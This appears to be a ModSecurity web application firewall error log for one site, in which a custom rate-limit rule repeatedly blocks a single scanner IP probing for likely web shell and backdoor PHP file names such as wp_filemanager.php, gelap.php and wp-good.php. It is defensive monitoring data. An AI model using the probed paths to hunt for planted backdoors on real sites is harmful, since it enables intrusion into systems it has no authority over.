[Tue Nov 25 20:06:24.426626 2025] [:error] [pid 28740:tid 28798] [client 20.196.125.130:30385] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSWbwFppQCoYxWW6V0WNVQAAAkc"]
[Tue Nov 25 20:06:43.344284 2025] [:error] [pid 28836:tid 28961] [client 20.196.125.130:30453] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aSWb05wNRsoxcLQGkTfLfAAAAsY"]
[Tue Nov 25 20:06:44.393440 2025] [:error] [pid 14168:tid 14195] [client 20.196.125.130:30498] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aSWb1PR-ZDU0QEgAIItu4QAAANg"]
[Tue Nov 25 20:06:44.925334 2025] [:error] [pid 28842:tid 29025] [client 20.196.125.130:30455] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aSWb1NNmoaPf6T4-6C2fcAAAA1c"]
[Tue Nov 25 20:06:45.832372 2025] [:error] [pid 14078:tid 14147] [client 20.196.125.130:30159] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cccc.php"] [unique_id "aSWb1dVXYbb0ii_rVoJPbwAAAIo"]
[Tue Nov 25 20:06:46.606976 2025] [:error] [pid 28836:tid 28962] [client 20.196.125.130:30344] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aSWb1pwNRsoxcLQGkTfLiAAAAsc"]
[Tue Nov 25 20:06:47.077333 2025] [:error] [pid 28842:tid 29024] [client 20.196.125.130:30505] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aSWb19NmoaPf6T4-6C2fcgAAA1Y"]
[Tue Nov 25 20:06:47.594763 2025] [:error] [pid 14077:tid 14121] [client 20.196.125.130:30670] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aSWb1xG9n7UHEkwDTyiikAAAAEs"]
[Tue Nov 25 20:06:48.672908 2025] [:error] [pid 14076:tid 14100] [client 20.196.125.130:30382] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aSWb2HsB4Gz6Qw-pvBsfPQAAABM"]
[Tue Nov 25 20:06:49.158632 2025] [:error] [pid 14076:tid 14087] [client 20.196.125.130:30527] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aSWb2XsB4Gz6Qw-pvBsfPgAAAAY"]
[Tue Nov 25 20:06:49.478606 2025] [:error] [pid 28609:tid 28636] [client 20.196.125.130:30412] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aSWb2SGGdT-nZJVs3x3MGgAAAZI"]
[Tue Nov 25 20:06:50.054804 2025] [:error] [pid 28609:tid 28630] [client 20.196.125.130:30492] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aSWb2iGGdT-nZJVs3x3MGwAAAYw"]
[Tue Nov 25 20:06:50.520936 2025] [:error] [pid 28836:tid 28966] [client 20.196.125.130:30659] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aSWb2pwNRsoxcLQGkTfLigAAAss"]
[Tue Nov 25 20:06:50.853066 2025] [:error] [pid 28739:tid 28773] [client 20.196.125.130:30404] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "aSWb2hxGpKmlkG4FexSDDgAAAgs"]
[Tue Nov 25 20:06:51.469934 2025] [:error] [pid 2987:tid 2995] [client 20.196.125.130:30375] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "aSWb28-djEt-pTzPxnyrSAAAAUY"]
[Tue Nov 25 20:06:52.064484 2025] [:error] [pid 28740:tid 28800] [client 20.196.125.130:30716] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "aSWb3FppQCoYxWW6V0WNaAAAAkk"]
[Tue Nov 25 20:06:52.571034 2025] [:error] [pid 28609:tid 28638] [client 20.196.125.130:30188] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v4.php"] [unique_id "aSWb3CGGdT-nZJVs3x3MHAAAAZQ"]
[Tue Nov 25 20:06:52.984628 2025] [:error] [pid 14078:tid 14144] [client 20.196.125.130:30515] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aSWb3NVXYbb0ii_rVoJPdQAAAIc"]
[Tue Nov 25 20:06:53.479209 2025] [:error] [pid 14076:tid 14104] [client 20.196.125.130:30609] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aSWb3XsB4Gz6Qw-pvBsfPwAAABc"]
[Tue Nov 25 20:06:54.611290 2025] [:error] [pid 28842:tid 29005] [client 20.196.125.130:30622] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aSWb3tNmoaPf6T4-6C2fegAAA08"]
[Tue Nov 25 20:06:55.092081 2025] [:error] [pid 28609:tid 28642] [client 20.196.125.130:30201] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aSWb3yGGdT-nZJVs3x3MHgAAAZg"]
[Tue Nov 25 20:06:55.671150 2025] [:error] [pid 14076:tid 14093] [client 20.196.125.130:30712] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aSWb33sB4Gz6Qw-pvBsfQgAAAAw"]
[Tue Nov 25 20:06:56.661630 2025] [:error] [pid 28740:tid 28795] [client 20.196.125.130:30285] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aSWb4FppQCoYxWW6V0WNcAAAAkQ"]
[Tue Nov 25 20:06:57.258663 2025] [:error] [pid 2987:tid 2996] [client 20.196.125.130:30353] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aSWb4c-djEt-pTzPxnyrTQAAAUc"]
[Tue Nov 25 20:06:57.837889 2025] [:error] [pid 14077:tid 14132] [client 20.196.125.130:30361] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aSWb4RG9n7UHEkwDTyiimwAAAFY"]
[Tue Nov 25 20:06:58.177263 2025] [:error] [pid 14077:tid 14131] [client 20.196.125.130:30600] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aSWb4hG9n7UHEkwDTyiinQAAAFU"]
[Tue Nov 25 20:06:58.642720 2025] [:error] [pid 2987:tid 2992] [client 20.196.125.130:30366] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aSWb4s-djEt-pTzPxnyrVQAAAUM"]
[Tue Nov 25 20:06:59.362322 2025] [:error] [pid 28609:tid 28628] [client 20.196.125.130:30431] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aSWb4yGGdT-nZJVs3x3MJwAAAYo"]
[Tue Nov 25 20:06:59.725070 2025] [:error] [pid 28842:tid 29000] [client 20.196.125.130:30697] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-update.php"] [unique_id "aSWb49NmoaPf6T4-6C2fjQAAA0o"]
[Tue Nov 25 20:07:02.896542 2025] [:error] [pid 14168:tid 14194] [client 20.196.125.130:30595] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelap.php"] [unique_id "aSWb5vR-ZDU0QEgAIItu7QAAANc"]
[Tue Nov 25 20:07:03.942303 2025] [:error] [pid 14077:tid 14123] [client 20.196.125.130:30632] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelap.php"] [unique_id "aSWb5xG9n7UHEkwDTyiirgAAAE0"]
[Tue Nov 25 20:07:04.846115 2025] [:error] [pid 2987:tid 2990] [client 20.196.125.130:30200] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelap.php"] [unique_id "aSWb6M-djEt-pTzPxnyrVgAAAUE"]
[Tue Nov 25 20:07:05.433788 2025] [:error] [pid 14078:tid 14139] [client 20.196.125.130:30648] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gelap.php"] [unique_id "aSWb6dVXYbb0ii_rVoJPfgAAAII"]
[Tue Nov 25 20:07:05.832715 2025] [:error] [pid 14078:tid 14145] [client 20.196.125.130:30197] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aSWb6dVXYbb0ii_rVoJPfwAAAIg"]
[Tue Nov 25 20:07:06.224414 2025] [:error] [pid 14076:tid 14087] [client 20.196.125.130:30389] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aSWb6nsB4Gz6Qw-pvBsfWgAAAAY"]
[Tue Nov 25 20:07:06.690750 2025] [:error] [pid 28842:tid 28994] [client 20.196.125.130:30673] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aSWb6tNmoaPf6T4-6C2fmQAAA0Q"]
[Tue Nov 25 20:07:07.159266 2025] [:error] [pid 14078:tid 14154] [client 20.196.125.130:30396] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aSWb69VXYbb0ii_rVoJPgwAAAJE"]
[Tue Nov 25 20:07:07.770248 2025] [:error] [pid 14077:tid 14116] [client 20.196.125.130:30345] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aSWb6xG9n7UHEkwDTyiisgAAAEY"]
[Tue Nov 25 20:07:08.631164 2025] [:error] [pid 14168:tid 14172] [client 20.196.125.130:30610] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aSWb7PR-ZDU0QEgAIItu8AAAAME"]
[Tue Nov 25 20:07:09.282675 2025] [:error] [pid 14168:tid 14191] [client 20.196.125.130:30370] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aSWb7fR-ZDU0QEgAIItu8wAAANQ"]
[Tue Nov 25 20:07:10.704814 2025] [:error] [pid 28842:tid 29024] [client 20.196.125.130:30441] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aSWb7tNmoaPf6T4-6C2fowAAA1Y"]
[Tue Nov 25 20:07:11.604732 2025] [:error] [pid 28842:tid 28999] [client 20.196.125.130:30710] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aSWb79NmoaPf6T4-6C2fpQAAA0k"]
[Tue Nov 25 20:07:12.016060 2025] [:error] [pid 28842:tid 29021] [client 20.196.125.130:30695] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aSWb8NNmoaPf6T4-6C2fqgAAA1M"]
[Tue Nov 25 20:07:13.029330 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30406] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aSWb8RG9n7UHEkwDTyiiwQAAAEc"]
[Tue Nov 25 20:07:13.997412 2025] [:error] [pid 14077:tid 14126] [client 20.196.125.130:30677] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aSWb8RG9n7UHEkwDTyiizgAAAFA"]
[Tue Nov 25 20:07:14.344017 2025] [:error] [pid 28740:tid 28812] [client 20.196.125.130:30351] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aSWb8lppQCoYxWW6V0WNlwAAAlU"]
[Tue Nov 25 20:07:14.844766 2025] [:error] [pid 28836:tid 29013] [client 20.196.125.130:30693] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aSWb8pwNRsoxcLQGkTfLpQAAAtc"]
[Tue Nov 25 20:07:15.563017 2025] [:error] [pid 28609:tid 28632] [client 20.196.125.130:30688] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aSWb8yGGdT-nZJVs3x3MRQAAAY4"]
[Tue Nov 25 20:07:16.550197 2025] [:error] [pid 28609:tid 28633] [client 20.196.125.130:30685] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aSWb9CGGdT-nZJVs3x3MRwAAAY8"]
[Tue Nov 25 20:07:17.386789 2025] [:error] [pid 14078:tid 14153] [client 20.196.125.130:30449] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aSWb9dVXYbb0ii_rVoJPjgAAAJA"]
[Tue Nov 25 20:07:18.351418 2025] [:error] [pid 28609:tid 28618] [client 20.196.125.130:30426] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aSWb9iGGdT-nZJVs3x3MSgAAAYA"]
[Tue Nov 25 20:07:19.612675 2025] [:error] [pid 28609:tid 28628] [client 20.196.125.130:30619] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aSWb9yGGdT-nZJVs3x3MSwAAAYo"]
[Tue Nov 25 20:07:19.985473 2025] [:error] [pid 28740:tid 28805] [client 20.196.125.130:30676] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aSWb91ppQCoYxWW6V0WNnQAAAk4"]
[Tue Nov 25 20:07:21.030150 2025] [:error] [pid 28739:tid 28762] [client 20.196.125.130:30653] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aSWb-RxGpKmlkG4FexSDKAAAAgA"]
[Tue Nov 25 20:07:22.181659 2025] [:error] [pid 14077:tid 14121] [client 20.196.125.130:30180] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aSWb-hG9n7UHEkwDTyii2wAAAEs"]
[Tue Nov 25 20:07:23.116441 2025] [:error] [pid 14077:tid 14118] [client 20.196.125.130:30672] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aSWb-xG9n7UHEkwDTyii4QAAAEg"]
